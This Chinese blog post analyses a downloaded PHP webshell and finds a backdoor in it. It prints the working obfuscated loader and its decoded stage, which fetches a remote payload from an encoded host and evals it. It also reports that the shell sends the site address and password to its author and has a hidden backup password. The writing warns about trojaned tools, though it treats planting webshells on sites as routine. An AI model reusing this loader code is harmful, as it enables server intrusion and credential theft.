您的位置 首页 php

PHP WebShell代码后门的一次检查

前言

小明是一名Web小白,今天他突然心血来潮,对自己常用的大马代码查看一下,竟然发现还是有一些后门没有清除干净,不由得心里为之一颤抖,这个江湖果然是险恶重生,黑吃黑的事情经常发生。想起自己辛辛苦苦得到的站点都成了别人的嫁衣,遂决定好好的分析马儿的肚子内部结构,特洛伊的骗局决不能让它再次坑害新手。

正文:

回想起来马儿好像是哪个网站上面下载的,小明快速的打开浏览器,搜索引擎输入“Web大马”,出现了缤纷多彩的信息。

好像就是这个网站,进去之后看看介绍,感觉好高大上黑色的背景配合绿色,灰白色的界面,这不正是小白们心里的标配马吗?好的,就是这匹宝马了。

不知道这宝马有木有介绍的那么好,竟然能过一切waf,诸多安全软件都免杀。有如此良驹,在渗透的时候必然是过五关斩六将。小明的手颤抖的移动鼠标到底部,看到下载地址,狠狠的点击一下,只听得叮的一声,马儿就掉到了自己的目录里面,

迫不及待的解压之后,看到一个shell.php,大小只有1.83KB,这体重和小马有的一拼了。

<?php
 $password='xxxxx';//登录密码
 //本次更新:体积优化、压缩优化、命令优化、反弹优化、文件管理优化、挂马清马优化等大量功能细节优化。
 //功能特色:PHP高版本低版本都能执行,文件短小精悍,方便上传,功能强大,提权无痕迹,无视waf,过安全狗、云锁、360、阿里云、护卫神等主流waf。同时支持菜刀、xise连接。
$html='$password'.'='."'".$password."';".'@e#html'.''.'v'."".''.''."".''.''.''.'a'.''.'l('.'g'.''."".''.''.'z'.'i'.''.''.'n'.'f'.'l'.''.''."".'a'.'t'.'e(b'.'as'.''.''.''."".''.'e'.'6'.''."".''."".""."".''.'4_'.'d'.'e'.'c'.''.''.''."".''."".'o'.'d'.'e'.'('."'lVZhb5tIEP0eKf9hg6ICEufgXBy1sSI1TTHJKcY5jJsmbYTwspitMUt3SWiT+r/fLLZjjN3UxxfE7sybN29nZtndIZwz7nOSMZ7TdKSZent3RxAhKEt9kQc81+QKjZC2R4Ugubbv961+/7LnfFGyOAsyqtzrOnre3UHw7GN0ilS1Pf96EIQHI5LmcrXLnmiSBAdHDRNpmE2yIKfDhLRRt39poeOG2UY3NA1ZIZDjoVbjUF/i8AQQhoEgx0d+SDALibb6pdwO4n7Xdqzh33fdrvnP460Z2uFhx3M+f6DDT9mhd5G5odn66Ny04k/N8bvz0empouuVCA4p6jGUq6cP10M7iYOmexl8dv7t2XHRtTtjbI9a2O4UgTfg+Ntdcns4Lm69uBXcZPndU/JIbKfo3Tg8nMSTq0JGmgeSQkYPKc6lvuQHFbnQ1EgwPGYZSdWlkiWrhKZjSDwLuCA+UNQkzwVUafH9gfCfYFKaflFB01i9rxrETEj1Rc5zlrCCcG1uKjfU+xWwKAPLFzJa6Wugt6aB9qFOUjZ7A5SBmmbVU2YF3ivkS0T2IIMrtuWhg+cZ2Sm68Lzrg2bD/Mq/pkp7g0cDXC4g9gl6LjlMX7UcQJH9dSar7AT9/xp7FfqcpSkpz+oEnSdMEGm9ySMqOM2J1MAovfU6Ik1jEoSEgxrN+h5maQ7shVSqDlzENCHQexFhUSnxmsaLQiHy7EYE6qlkcWS+O66zeDmqJZtTZG5EXCXWmBUY2YA3/VOIN2+QNucH+YF06NcvVFmQauq/51ARzvxz+NpnhOWhlbqtiS6bZpFgZXOOMF226x4UfMZAVmws5oQus1prYwybPk1prr6yT34QXG9zHAOZF2+tyrVchbHLMpi8ODbQ+cC96l17PrxmdLay9i67Vm/gQd+2trJ3LW/gOp575vQ7lmsgzx1Y29HqW+6ZbTmeUZn+K0MGL3KVSkjnNdz5oS13tjgMEM6H4tfUIIEpJ2elH22aqDmZZLLR3kfQV2vjtIwAFvlPbWap6xvK5j2dZIm8HlTVmCOugVRoKiFJPlJ+loYdiKlshpR0ZAL+oiRXuFUE2JT/HjRSFCSC1MpqNvfl7Z4EeJYt2AMjBZzxyqmsX+rgPHqiaZQEef2yBd8Ks+ns92CLvwPyGCQbLQBs+h8=')));";$ css =base64_decode("Q3JlYXRlX0Z1bmN0aW9u");$style=$css('',preg_replace("/#html/","",$html));$style();/*));.'<linkrel="stylesheet"href="$#css"/>';*/
 

咋一看这不是base64吗,如此小的代码竟然实现了诸多的功能。着实让人佩服作者,打开phpstorm直接base64解密得到了下面这段内容

error_reporting(0);
 session_start();
 if (!isset($_SESSION["phpapi"])) {
 $c = '';
 $useragent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)';
 $url = base64_decode(base64_decode("YUhSMGNEb3ZMM0JvY0dGd2FTNXBibVp2THpRd05DNW5hV1k9Cg=="));
 $urlNew= base64_decode("LzBPbGlha1RIaXNQOGhwMGFkcGg5cGFwaTUrcjZlY2kwYTh5aWptZzlveGNwOWNrdmhmLw==");
 if (function_exists('fsockopen')) {
 $link = parse_url($url);
 $query = $link['path'];
 $host = strtolower($link['host']);
 $ fp  = fsockopen($host, 80, $errno, $errstr, 10);
 if ($fp) {
 $out = "GET /{$query} HTTP/1.0\r\n";
 $out .= "Host: {$host}\r\n";
 $out .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)\r\n";
 $out .= "Connection: Close\r\n\r\n";
 fwrite($fp, $out);
 $inheader = 1;
 $contents = "";
 while (!feof($fp)) {
 $line =  fgets ($fp, 4096);
 if ($inheader == 0) {
 $contents .= $line;
 }
 if ($inheader && ($line == "\n" || $line == "\r\n")) {
 $inheader = 0;
 }
 }
 fclose($fp);
 $c = $contents;
 }
 }
 if (!strpos($c, $urlNew) && function_exists('curl_init') && function_exists('curl_exec')) {
 $ch = curl_init();
 curl_setopt($ch, CURLOPT_URL, $url);
 curl_setopt($ch, CURLOPT_TIMEOUT, 15);
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
 $c = curl_exec($ch);
 curl_close($ch);
 }
 if (!strpos($c, $urlNew) && ini_get('allow_url_fopen')) {
 $temps = @file($url);
 if (!empty($temps))
 $c = @implode('', $temps);
 if (!strpos($c, "delDirAndFile"))
 $c = @file_get_contents($url);
 }
 if (strpos($c, $urlNew) !== false) {
 $c = str_replace($urlNew, "", $c);
 $_SESSION["phpapi"] = gzinflate(base64_decode($c));
 }
 }
 if (isset($_SESSION["phpapi"])) {
 eval($_SESSION["phpapi"]);
 }
 

原来作者是通过远程下载图片的方式得到大马的内容,难怪可以逃过免杀啊,根本就是普通的php代码,这样以来作者就可以明正言顺的得到我们的url了,真的是躺着也能乐呵呵的数马儿,今年又是一个丰收年啊。

$url = base64_decode(base64_decode("YUhSMGNEb3ZMM0JvY0dGd2FTNXBibVp2THpRd05DNW5hV1k9Cg==")); 
 $url base64解开后的到
 

在得到图片的内容后用base64解开然后zip解压我们得到了真的马儿,打开浏览器后一看果然和网站上介绍的是一个模样的。输入密码登陆后,看到这样的马儿用起来才叫爽啊,

为了看看大马儿的内部还有什么手段,祭出Firefox,按下f12,输入密码后查看网络连接,发现视乎没有什么其他的外部活动,js也是非常的安静。新想这马儿应该是安全的。再次查看了httpnetworksniff和TcpLogView,没有外部的连接活动。但还是非常不放心,在phpstorm里面看了下base64加密的字符串,看到一个函数非常可疑

其中htmlogin()函数内部 if (strpos($domain, “0.0″) !== false || strpos($domain, “192.168.”) !== false || strpos($domain, “localhost”) !== false) 以及show_mainp()函数都对局域网ip特征做了判断,判断了是否为局域网,不然就发送你的地址和密码到他的网站,

然而到此结束了吗???通常WebShell会有一个备用的密码,搜寻了一下postpass 在1709行发现了备用密码if ($_POST[‘postpass’] == postpass||$_POST[‘postpass’]==’http200ok’)

总结:

还是那句话江湖险恶,不要轻易的用别人写好加密的东西,很多软件最好翻墙或者先去github上找找。webshell这种东西要自己动手查看内容确定安全后才能放心使用。

*本文原创作者:facebook001,属FreeBuf原创奖励计划,未经许可禁止转载

文章来源:智云一二三科技

文章标题:PHP WebShell代码后门的一次检查

文章地址:https://www.zhihuclub.com/153492.shtml

关于作者: 智云科技

热门文章

网站地图